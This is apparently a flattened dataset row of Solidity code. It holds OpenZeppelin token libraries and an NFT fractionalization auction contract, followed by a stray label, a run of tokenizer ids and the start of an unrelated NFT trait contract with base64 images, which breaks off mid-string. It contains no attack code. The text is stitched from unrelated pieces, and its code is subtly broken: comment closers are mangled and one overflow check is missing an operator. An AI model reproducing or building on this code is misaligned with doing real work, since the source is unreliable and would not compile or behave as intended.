/* * @dev Returns the name of the token. / function name() public view virtual returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/ERC721Holder.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. / contract ERC721Holder is IERC721Receiver { /* * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. / function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev String operations. / library Strings { /* * @dev Converts a `uint256` to its ASCII `string` representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: contracts/v1.5/SafeERC721.sol pragma solidity ^0.6.0; library SafeERC721 { function safeName(IERC721Metadata _metadata) internal view returns (string memory _name) { try _metadata.name() returns (string memory _n) { return _n; } catch {} } function safeSymbol(IERC721Metadata _metadata) internal view returns (string memory _symbol) { try _metadata.symbol() returns (string memory _s) { return _s; } catch {} } function safeTokenURI(IERC721Metadata _metadata, uint256 _tokenId) internal view returns (string memory _tokenURI) { try _metadata.tokenURI(_tokenId) returns (string memory _t) { return _t; } catch {} } function safeTransfer(IERC721 _token, address _to, uint256 _tokenId) internal { address _from = address(this); try _token.transferFrom(_from, _to, _tokenId) { return; } catch {} // attempts to handle non-conforming ERC721 contracts _token.approve(_from, _tokenId); _token.transferFrom(_from, _to, _tokenId); } } // File: contracts/v1.5/AuctionFractionsImpl.sol pragma solidity ^0.6.0; contract AuctionFractionsImpl is ERC721Holder, ERC20, ReentrancyGuard { using SafeERC20 for IERC20; using SafeERC721 for IERC721; using SafeERC721 for IERC721Metadata; using Strings for uint256; address public target; uint256 public tokenId; uint256 public fractionsCount; uint256 public fractionPrice; address public paymentToken; uint256 public kickoff; uint256 public duration; uint256 public fee; address public vault; bool public released; uint256 public cutoff; address payable public bidder; uint256 private lockedFractions_; uint256 private lockedAmount_; string private name_; string private symbol_; constructor () ERC20("Fractions", "FRAC") public { target = address(-1); // prevents proxy code from misuse } function name() public view override returns (string memory _name) { if (bytes(name_).length != 0) return name_; return string(abi.encodePacked(IERC721Metadata(target).safeName(), " #", tokenId.toString(), " Fractions")); } function symbol() public view override returns (string memory _symbol) { if (bytes(symbol_).length != 0) return symbol_; return string(abi.encodePacked(IERC721Metadata(target).safeSymbol(), tokenId.toString())); } modifier onlyOwner() { require(isOwner(msg.sender), "access denied"); _; } modifier onlyHolder() { require(balanceOf(msg.sender) > 0, "access denied"); _; } modifier onlyBidder() { require(msg.sender == bidder, "access denied"); _; } modifier inAuction() { require(kickoff <= now && now <= cutoff, "not available"); _; } modifier afterAuction() { require(now > cutoff, "not available"); _; } function initialize(address _from, address _target, uint256 _tokenId, string memory _name, string memory _symbol, uint8 _decimals, uint256 _fractionsCount, uint256 _fractionPrice, address _paymentToken, uint256 _kickoff, uint256 _duration, uint256 _fee, address _vault) external { require(target == address(0), "already initialized"); require(IERC721(_target).ownerOf(_tokenId) == address(this), "missing token"); require(_fractionsCount > 0, "invalid count"); require(_fractionsCount _fractionPrice / _fractionsCount == _fractionPrice, "price overflow"); require(_paymentToken != address(this), "invalid token"); require(_kickoff <= now + 731 days, "invalid kickoff"); require(30 minutes <= _duration && _duration <= 731 days, "invalid duration"); require(_fee <= 1e18, "invalid fee"); require(_vault != address(0), "invalid address"); target = _target; tokenId = _tokenId; fractionsCount = _fractionsCount; fractionPrice = _fractionPrice; paymentToken = _paymentToken; kickoff = _kickoff; duration = _duration; fee = _fee; vault = _vault; released = false; cutoff = uint256(-1); bidder = address(0); name_ = _name; symbol_ = _symbol; _setupDecimals(_decimals); uint256 _feeFractionsCount = _fractionsCount.mul(_fee) / 1e18; uint256 _netFractionsCount = _fractionsCount - _feeFractionsCount; _mint(_from, _netFractionsCount); _mint(address(this), _feeFractionsCount); lockedFractions_ = _feeFractionsCount; lockedAmount_ = 0; } function status() external view returns (string memory _status) { return bidder == address(0) ? now < kickoff ? "PAUSE" : "OFFER" : now > cutoff ? "SOLD" : "AUCTION"; } function isOwner(address _from) public view returns (bool _soleOwner) { return bidder == address(0) && balanceOf(_from) + lockedFractions_ == fractionsCount; } function reservePrice() external view returns (uint256 _reservePrice) { return fractionsCount * fractionPrice; } function bidRangeOf(address _from) external view inAuction returns (uint256 _minFractionPrice, uint256 _maxFractionPrice) { if (bidder == address(0)) { _minFractionPrice = fractionPrice; } else { _minFractionPrice = (fractionPrice * 11 + 9) / 10; // 10% increase, rounded up } uint256 _fractionsCount = balanceOf(_from); if (bidder == _from) _fractionsCount += lockedFractions_; if (_fractionsCount == 0) { _maxFractionPrice = uint256(-1); } else { _maxFractionPrice = _minFractionPrice + (fractionsCount * fractionsCount * fractionPrice) / (_fractionsCount * _fractionsCount * 100); // 1% / (ownership ^ 2) } return (_minFractionPrice, _maxFractionPrice); } function bidAmountOf(address _from, uint256 _newFractionPrice) external view inAuction returns (uint256 _bidAmount) { uint256 _fractionsCount = balanceOf(_from); if (bidder == _from) _fractionsCount += lockedFractions_; return (fractionsCount - _fractionsCount) * _newFractionPrice; } function vaultBalance() external view returns (uint256 _vaultBalance) { if (now <= cutoff) return 0; uint256 _fractionsCount = totalSupply(); return _fractionsCount * fractionPrice; } function vaultBalanceOf(address _from) external view returns (uint256 _vaultBalanceOf) { if (now <= cutoff) return 0; uint256 _fractionsCount = balanceOf(_from); return _fractionsCount * fractionPrice; } function updatePrice(uint256 _newFractionPrice) external onlyOwner { address _from = msg.sender; require(fractionsCount * _newFractionPrice / fractionsCount == _newFractionPrice, "price overflow"); uint256 _oldFractionPrice = fractionPrice; fractionPrice = _newFractionPrice; emit UpdatePrice(_from, _oldFractionPrice, _newFractionPrice); } function cancel() external nonReentrant onlyOwner { address _from = msg.sender; released = true; _burn(_from, balanceOf(_from)); _burn(address(this), lockedFractions_); IERC721(target).safeTransfer(_from, tokenId); emit Cancel(_from); _cleanup(); } function bid(uint256 _newFractionPrice) external payable nonReentrant inAuction { address payable _from = msg.sender; uint256 _value = msg.value; require(fractionsCount * _newFractionPrice / fractionsCount == _newFractionPrice, "price overflow"); uint256 _oldFractionPrice = fractionPrice; uint256 _fractionsCount; if (bidder == address(0)) { _transfer(address(this), vault, lockedFractions_); _fractionsCount = balanceOf(_from); uint256 _fractionsCount2 = _fractionsCount * _fractionsCount; require(_newFractionPrice >= _oldFractionPrice, "below minimum"); require(_newFractionPrice * _fractionsCount2 * 100 <= _oldFractionPrice * (_fractionsCount2 * 100 + fractionsCount * fractionsCount), "above maximum"); // <= 1% / (ownership ^ 2) cutoff = now + duration; } else { if (lockedFractions_ > 0) _transfer(address(this), bidder, lockedFractions_); _safeTransfer(paymentToken, bidder, lockedAmount_); _fractionsCount = balanceOf(_from); uint256 _fractionsCount2 = _fractionsCount * _fractionsCount; require(_newFractionPrice * 10 >= _oldFractionPrice * 11, "below minimum"); // >= 10% require(_newFractionPrice * _fractionsCount2 * 100 <= _oldFractionPrice * (_fractionsCount2 * 110 + fractionsCount * fractionsCount), "above maximum"); // <= 10% + 1% / (ownership ^ 2) if (cutoff < now + 15 minutes) cutoff = now + 15 minutes; } bidder = _from; fractionPrice = _newFractionPrice; uint256 _bidAmount = (fractionsCount - _fractionsCount) * _newFractionPrice; if (_fractionsCount > 0) _transfer(_from, address(this), _fractionsCount); _safeTransferFrom(paymentToken, _from, _value, payable(address(this)), _bidAmount); lockedFractions_ = _fractionsCount; lockedAmount_ = _bidAmount; emit Bid(_from, _oldFractionPrice, _newFractionPrice, _fractionsCount, _bidAmount); } function redeem() external nonReentrant onlyBidder afterAuction { address _from = msg.sender; require(!released, "missing token"); released = true; _burn(address(this), lockedFractions_); IERC721(target).safeTransfer(_from, tokenId); emit Redeem(_from); _cleanup(); } function claim() external nonReentrant onlyHolder afterAuction { address payable _from = msg.sender; uint256 _fractionsCount = balanceOf(_from); uint256 _claimAmount = _fractionsCount * fractionPrice; _burn(_from, _fractionsCount); _safeTransfer(paymentToken, _from, _claimAmount); emit Claim(_from, _fractionsCount, _claimAmount); _cleanup(); } function _cleanup() internal { uint256 _fractionsCount = totalSupply(); if (released && _fractionsCount == 0) { selfdestruct(address(0)); } } function _safeTransfer(address _token, address payable _to, uint256 _amount) internal { if (_token == address(0)) { _to.transfer(_amount); } else { IERC20(_token).safeTransfer(_to, _amount); } } function _safeTransferFrom(address _token, address payable _from, uint256 _value, address payable _to, uint256 _amount) internal { if (_token == address(0)) { require(_value == _amount, "invalid value"); if (_to != address(this)) _to.transfer(_amount); } else { require(_value == 0, "invalid value"); IERC20(_token).safeTransferFrom(_from, _to, _amount); } } event UpdatePrice(address indexed _from, uint256 _oldFractionPrice, uint256 _newFractionPrice); event Cancel(address indexed _from); event Bid(address indexed _from, uint256 _oldFractionPrice, uint256 _newFractionPrice, uint256 _fractionsCount, uint256 _bidAmount); event Redeem(address indexed _from); event Claim(address indexed _from, uint256 _fractionsCount, uint256 _claimAmount); } // File: contracts/v1.5/AuctionFractionalizer.sol pragma solidity ^0.6.0; contract AuctionFractionalizer is ReentrancyGuard { address public immutable vault; constructor (address _vault) public { vault = _vault; } function fractionalize(address _target, uint256 _tokenId, string memory _name, string memory _symbol, uint8 _decimals, uint256 _fractionsCount, uint256 _fractionPrice, address _paymentToken, uint256 _kickoff, uint256 _duration, uint256 _fee) external nonReentrant returns (address _fractions) { address _from = msg.sender; _fractions = address(new AuctionFractions()); IERC721(_target).transferFrom(_from, _fractions, _tokenId); AuctionFractionsImpl(_fractions).initialize(_from, _target, _tokenId, _name, _symbol, _decimals, _fractionsCount, _fractionPrice, _paymentToken, _kickoff, _duration, _fee, vault); emit Fractionalize(_from, _target, _tokenId, _fractions); return _fractions; } event Fractionalize(address indexed _from, address indexed _target, uint256 indexed _tokenId, address _fractions); }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2069, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GenesisHats { function G_Hats(uint32 traitId_) public pure returns (string[2] memory) { if (traitId_ == 0) return ["Laurel Wreath","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcExbqGFVlFpMf1DJ4Q/MAAAAAXRSTlMAQObYZgAAAEBJREFUGNNjYKAWYGFlYAwA0qyskioMTA5Alo6k6hIGhgNAlsXKuFSIqmehzg0Q1j/nCw4QFv+EDzBDnjAMAwAAzgkLGImTK3sAAAAASUVORK5CYII="]; if (traitId_ == 1) return ["Viking Helmet","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAElBMVEVHcEy5ubl7e3vd3bbHx57///+zOcN9AAAAAXRSTlMAQObYZgAAAIBJREFUGBntwcEJwzAMhtEPkwV+Qe+W6AAJ6gCBaIHuv0zt3Aw99tj3+OJkscO1Ay0GhtyhEsLl8oDMHbbMJplkisoCtisPySW5nq+ToTIP02CyYtoqD3/o/ZDbya1KrsnUubkUg1tEMDXJGFqHxtSkzsKlziLCO4sgOovO3499AP6VD5uBm5FwAAAAAElFTkSuQmCC"]; if (traitId_ == 2) return ["Brain","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAElBMVEVHcEykSovHa63te8zxidPYc7t5AAHpAAAAAXRSTlMAQObYZgAAAEZJREFUKM9jYKAuUHZ0VDRAERAyFDISdkAIMCsqCykJCSnDBRgFTQWFDJ0UHeEiisqiwkaGKobGAnAhJSBWYDZgGAVDDwAADWoF0V8fKskAAAAASUVORK5CYII="]; if (traitId_ == 3) return ["Banana Hat","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcEwAAAD/2QDStxxaH+++AAAAAXRSTlMAQObYZgAAAFZJREFUGNNjYAACFgYYkIQxGMNCoSzxVasCIEJV61ctAbPYV8a/rASz5JawvooEs7IuMFTFOYBYVQ4MUu4gFuNLoAJHsNYnDAyyEEMuILOgFjswDCsAAGxNEXMpN3bEAAAAAElFTkSuQmCC"]; if (traitId_ == 4) return ["Headband","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcEwAav////8bUkacAAAAAXRSTlMAQObYZgAAAB9JREFUGNNjYKASYAwNDXUAs7RWrVq1ACYUGsIw4gAAp28FsoyVMLgAAAAASUVORK5CYII="]; if (traitId_ == 5) return ["CK Cap","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAFVBMVEVHcEwAAAA/bP83Xt8dPqg1WMsWMIRjos2CAAAAAXRSTlMAQObYZgAAAGVJREFUKM/tjMERQEAUQ3c78GMV8NPByowGUIGhAPrvwYE1XJwdvFveJAnhBTOrHiKS9EcBTvgtawMAlFns1WWCxmKS2tUzeXViP3WsM4lylMZ5ZSMj/DBxGJZZaZKk09iN8PNpdoL8DPkTKLMPAAAAAElFTkSuQmCC"]; if (traitId_ == 6) return ["Top Hat","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcEwAAAD///8W1S+BAAAAAXRSTlMAQObYZgAAADlJREFUGNNjYEAA1lAgCIGxUqfAWNNgYmGRMFZkKoyVOhXGmhbqGuoAYoVFAjU5QIwLhUg6MIwgAADkMxINv1J5ZwAAAABJRU5ErkJggg=="]; if (traitId_ == 7) return ["Headphones","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAElBMVEVHcEwAAAClpaWNjY12dXXX19chK4aGAAAAAXRSTlMAQObYZgAAAF9JREFUKM9jYCAaMAoKCgqgCAgpKSkpIosABQRQNQkJCqKZoohhLoaIkABBEWoZoxSIJiKsFIqqiNFZUBRVEaOjUSCGiCJhEWNFRXSThdAcLWJsjB5eLo7ojkYP0sEOAJ/zCbaMNbYVAAAAAElFTkSuQmCC"]; if (traitId_ == 8) return ["Hard 